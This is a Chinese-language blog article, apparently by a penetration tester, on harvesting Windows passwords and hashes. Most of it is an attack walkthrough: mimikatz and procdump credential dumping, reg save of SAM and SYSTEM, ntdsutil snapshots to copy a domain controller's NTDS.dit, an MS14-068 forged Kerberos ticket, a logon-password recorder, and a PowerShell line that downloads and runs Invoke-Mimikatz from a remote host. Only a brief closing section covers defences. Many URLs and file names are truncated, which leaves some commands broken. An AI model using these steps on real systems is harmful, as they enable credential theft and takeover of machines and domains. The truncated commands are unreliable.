鲁达 很多人认为个人计算机比较安全，因为给计算机设置了密码，外人不知道设置的密码，因此也就安全了，其实这里面很很大的误解，个人计算机安全除了设置密码强健程度以外，还需要设置禁用光盘启动，禁止修改BIOS。下面介绍密码相关知识，了解这些将有助于防范黑客攻击和资料外泄。
1.2.1windows密码获取思路
windows系统密码获取有多种方式，下面对获取windows密码的思路进行总结：
1.通过0day直接获取权限，然后通过wce等工具获取明文或者哈希值，比如ms08067，通过溢出直接获取system权限，虽然现在越来越少，但现实中还是存在，比如最近的iis webdav、ms017-010溢出漏洞。
2.通过网站漏洞获取webshell后，通过系统存在漏洞提权，获取权限后再获取系统密码以及哈希值。
3.内网环境可以通过ntscan等工具进行扫描，暴力破解获取。
4.本地物理接触获取。通过livecd、PE盘等工具，启动系统后，直接读取系统文件，将config文件夹全部复制，然后进行哈希值提取并暴力破解之。
1.2.2密码哈希值获取工具
1.gethash
in公司早期开发的提取密码工具，最新版本1.6，目前已经停止更新，其工具在saminside中可以获取。
2.gsecdump
gsecdump目前版本为v2.0b5，由于其使用的广泛性，因此被google浏览器以及杀毒软件定义为病毒，官方网站已经不提供下载地址，可以给官方（info@）发邮件索取。
3.QuarksPwDump
Quarks PwDump是quarkslab出品的一款用户密码提取开源工具，目前软件最新版本为0.2b，其完整源代码可以从获取，目前它支持Windows XP/2003/Vista/7/2008版本，且相当稳定。可以抓取windows平台下多种类型的用户凭据，包括：本地帐户、域帐户、缓存的域帐户和Bitlocker。
4.pwdump
Pwdum版本中有两个文件，一个是Pwd4.dll，另外一个是Pwdum，在早期版本中其dll文件为l。
5.mimikatz
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具，本意是用来个人测试，但由于其功能强大，能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试，可以说是渗透必备工具，从早期1.0版本到现在的2.1.1 20180205版本，其功能得到了很大的提升和扩展，最新版下载地址：
6. Windows Credentials Editor (WCE)
WCE是一款功能强大的windows平台内网渗透工具，它可以列举登陆会话，并且可以添加、改变和删除相关凭据（例如：LM/NT hashes）。这些功能在内网渗透中能够被利用，例如，在windows平台上执行绕过hash或者从内存中获取NT/LM hashes（也可以从交互式登陆、服务、远程桌面连接中获取）以用于进一步的攻击。，而且体积也非常小，是内网渗透手必备工具。
7.reg命令导出到文件
通过执行reg命令将sam、system、security文件内容导出到文件。
reg save hklm\sam
reg save hklm\system
reg save hklm\security
8. +mimikatz
-accepteula -ma l l //For 32 bits
-accepteula -64 -ma l l //For 64 bits
sekurlsa::minidump l
mimikatz # sekurlsa::logonPassword
1.2.3密码获取方法
1.物理接触获取密码法
通过将Ophcrack liveCD（）、BT5、kali、PE等制作成启动光盘或者启动U盘，启动系统后将系统目录下的config文件下的SAM和SECURITY文件复制出来。通过saminside导入即可进行破解。
2.前面提及工具的密码获取方法
（1）gethash $local
（2）gsecdump –a
（3）QuarksPwDump
QuarksPwDump -dhl 导出本地哈希值
QuarksPwDump –dhdc 导出内存中的域控哈希值
QuarksPwDump -dhd 导出域控哈希值，必须指定NTDS文件
（4）pwd4 /l /o:filename.sam
（5）mimikatz
privilege::debug
sekurlsa::logonpasswords
（6）wce –a
3.域控密码获取
（1）gsecdump法
gsecdump –s >all.txt
（2）QuarksPwDump法
ntdsutil snapshot "activate instance ntds" create quit quit//创建快照
ntdsutil snapshot "mount {GUID}" quit quit // Ntdsutil挂载活动目录的快照
copy MOUNT_POINT\windows\NTDS\n c:\n //复制快照的本地磁盘
ntdsutil snapshot "unmount {GUID}" quit quit //卸载快照
ntdsutil snapshot "delete {GUID}" quit quit //删除快照
Quark --dump-hash-domain --ntds-file c:\n //提权文件hash值
注意：获取哈希值最好都在同一台服务器上执行，也即将Quark直接放在导出n服务器上，执行导出命令。如果仅仅将n复制后下载本地可能会出现无法读取错误。如果是想下载n到本地恢复还需要执行“reg save hklm\system ”，将和n全部复制到本地进行域控密码获取。网上也曾经出现一个NTDS.dit密码快速提取工具ntdsdump，使用命令来快速提取：
NTDSDump.exe -f n -s SYSTEM -o Ha
（3）使用ms14-068漏洞攻击域控服务器获取域控权限
m -u -p -s –d 生成伪造缓存，然后通过mimikatz导入：
kerberos::ptc
net use命令获取域控权限：
net use \\A-EE64804.TEST.LOCAL
dir \\A-EE64804.TEST.LOCAL\c$
通过前面的方法来获取域控密码。
4.使用winlogonhack获取系统密码
安装winlogonhack记录程序，记录3389登录密码到系统目录下的boot.dat文件。
5使用ps1批量获取windows密码
在Windows2008及以上操作系统中执行命令：
powershell "IEX (New-Object Net.WebClient).DownloadString(';); Invoke-Mimikatz -DumpCreds"
注意：获取密码的计算机必须能够访问raw.gi网络，也可以将该ps文件下载到其他地址，然后替换后执行.
6.在msf获取反弹的shell上获取密码。
（1）getuid 获取当前帐号为系统权限，则进行后续操作，否则通过ps命令去获取小于1000以内的pid，执行migrate pid来提升权限后，继续执行后续步骤。
（2）load mimikatz
（3）运行mimikatz下面的凭证获取命令
kerberos 获取网络认证协议凭证，其中可能会有明文密码
msv 获取msv 凭证，其中包含LM和NTLM哈希密码值
wdigest 获取wdigest （摘要式身份验证）凭证，其中可能会有明文密码
（4）还可以执行hashdump来导出系统的哈希密码值
7. iis7配置文件密码读取
mimika privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\a; /live" exit
8.vpn密码获取
mimika privilege::debug token::elevate lsadump::sam lsadump::secrets exit
9.openvpn配置及其密码
发现安装有OpenVPN，可以将其配置文件夹config全部复制到本地，重新覆盖后可以只用其key和密码或者密钥进行登录，如图1所示。
图1复制vpn配置文件
10.windows下浏览器、EMail、远程桌面等密码获取工具
nirsoft 公司（）提供很多的免费密码获取工具。其所有工具包，压缩文件密码：nirsoft123!。
（1）mail密码获取工具mailpv
（2）msn密码获取工具mspass
m
（3）IE密码获取工具IEpassview，执行效果如图2所示。在内网个人或者服务器上比较有用，可以获取内网一些cms登录记录的密码。iepv.zip
图2IE密码记录获取
（4）Outlook密码获取工具pst_password
pstpassword.zip
（5）Foxfire、Chrome、opera浏览器密码获取工具passwordfox和chromepass
passwordfox.zip
passwordfox-x64.zip
chromepass.zip
operapassview.zip
webbrowserpassview.zip
（6）无线网络密码获取工具
wirelesskeyview-x64.zip
wirelesskeyview.zip
（7）远程桌面密码获取工具rdpv
rdpv.zip
cmdkey /list 查看3389可信任链接，使用ne即可知道密码
（8）vnc密码获取工具
vncpassview.zip
11.数据库密码获取
可以通过分析网站源代码从数据库配置文件例如conn.php、web.config、con等文件中获取数据库的账号、密码及服务器IP地址。
12.使用cain等工具进行嗅探
使用cain工具在内网进行精确嗅探，可以嗅探各种密码，但嗅探时间不宜过长，否则因为流量异常容易被发现。
1.2.4物理接触获取密码方法
对于上班的个人计算机，如果在BIOS中未设置安全验证和禁止光盘、网络和U盘启动，入侵者可以通过物理接触计算机，窃取个人计算机资料。
1.获取系统sam和system文件
通过livecd、BT5、Kali、ophcrack等工具盘，启动系统后，将windows\system32\config文件夹下的SAM、SYSTEM和SECURITY文件复制出来，如图3所示。
图3复制sam、security和security文件
2.导入sam和system和文件
使用saminside工具软件，选择导入sam、security和system文件，即从File中选择第一个选项，如图4所示，分别选择sam、security和system文件，其NTLM哈希值就出来了。
图4获取用户密码哈希值
3.使用ophcrack进行密码破解
选择需要破解的密码哈希值，将其导出，然后单独复制需要破解的哈希值，在本例中为：
Administrator:500:E7108C208C467BF789985C6892014BB8:981A05EBA7EA97FA5E776705E985D15A:管理计算机(域::将该值复制到ophcrack中进行破解，如图5所示。
图5使用ophcrack进行暴力破解
4.通过网站在线破解
LM哈希值和NT哈希值复制到网站（改版后新地址为：）进行破解，如图6所示，直接就出来了，密码为mmd-333cyx。
1.2.5个人计算密码安全防范方法和措施
通过笔者研究，可以通过以下一些方法和措施来加强个人计算机安全。
1.安装杀毒软件，及时更新病毒库，并设置病毒保护密码。无该密码无法清除杀毒软件查杀的病毒。
2.设置强健的密码。目前14位以下的密码，通过ophcrack可以快速进行破解，建议设置超过14位以上的字母大小写+数字+特殊字符的密码，可以是一句话的首字母加大小写加特殊字符加世界等。
3.设置BIOS禁止除硬盘外地其它方式启动，也即禁止从网络、光盘和优盘启动。
4.进入系统设置两道关口，第一道是BIOS进入密码，第二次是系统设置的密码。
作者最新原创图书：
《网络攻防实战研究：MySQL数据库攻击与防御》 京东购买地址：
《SQLMAP从入门到精通》 京东购买地址：
《Web服务器渗透实战技术》 京东购买地址：